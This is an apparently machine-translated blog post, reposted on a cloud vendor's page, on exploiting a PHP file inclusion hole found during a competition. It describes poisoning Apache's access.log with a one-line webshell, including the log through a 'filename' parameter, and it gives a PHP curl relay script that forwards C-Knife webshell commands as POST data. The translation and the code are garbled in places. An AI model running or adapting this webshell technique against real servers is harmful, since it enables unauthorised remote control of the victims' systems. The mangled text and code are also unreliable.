Post-file contains one of the vulnerabilities of a sentence using

Source: Internet
Author: User
Tags php server
Recently in the busy race, encountered a file containing a vulnerability, through the inclusion of Apache Access.log in a sentence, using Cknife to connect, but the get type is very easy, direct http://xxx/FilesIn.php?filename=. /apache/logs/access.log to be included in the use of the line. But when you encounter such a File Protection vulnerability.

 
  

The above method is completely ineffective, its own chopper, C-Knife configuration parameters also do not support post options, so this good loophole is not wasted? Using the cookies in the previous cookie injection, I wrote a simple script (c-knife for example).

First we write a sentence to the log first.

Then we can check on the target drone to see if the upload was successful.

Ok

Create the following script:

 
  '.. /apache/logs/access.log '), if (Isset ($_post["Croot"])//Here Croot change to your password {$tmp = array (' Croot ' =>$_post["Croot"]);// Here croot change to your password $data + = $tmp;} if (Isset ($_post["Action"])) {$tmp = array (' Action ' =>$_post["action"); $data + = $tmp;} if (Isset ($_post[' z1 ')) {$tmp = array (' z1 ' =>$_post["Z1"]), $data + = $tmp;} $data = Array (' filename ' = ' = '). /apache/logs/access.log ', ' croot ' = $postdata, ' action ' =$_post[' action '], ' z1 ' =$_post[' Z1 ']);//var_dump ($data); $data = Http_build_query ($data); $curl = Curl_init (); curl_setopt ($curl, Curlopt_url, $url); curl_setopt ($curl, Curlopt_ Returntransfer, 1); curl_setopt ($curl, Curlopt_post, 1); curl_setopt ($curl, Curlopt_postfields, $data); $rtdata = Curl_ EXEC ($curl); Curl_close ($curl); Echo $rtdata; >

Open the C-knife.

Build a local PHP server to connect to. Test effect

Ok. This time only for the PHP type of file management transfer processing, other management functions may not support the very good.

  • Contact Us

    The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

    If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

    A Free Trial That Lets You Build Big!

    Start building with 50+ products and up to 12 months usage for Elastic Compute Service

    • Sales Support

      1 on 1 presale consultation

    • After-Sales Support

      24/7 Technical Support 6 Free Tickets per Quarter Faster Response

    • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.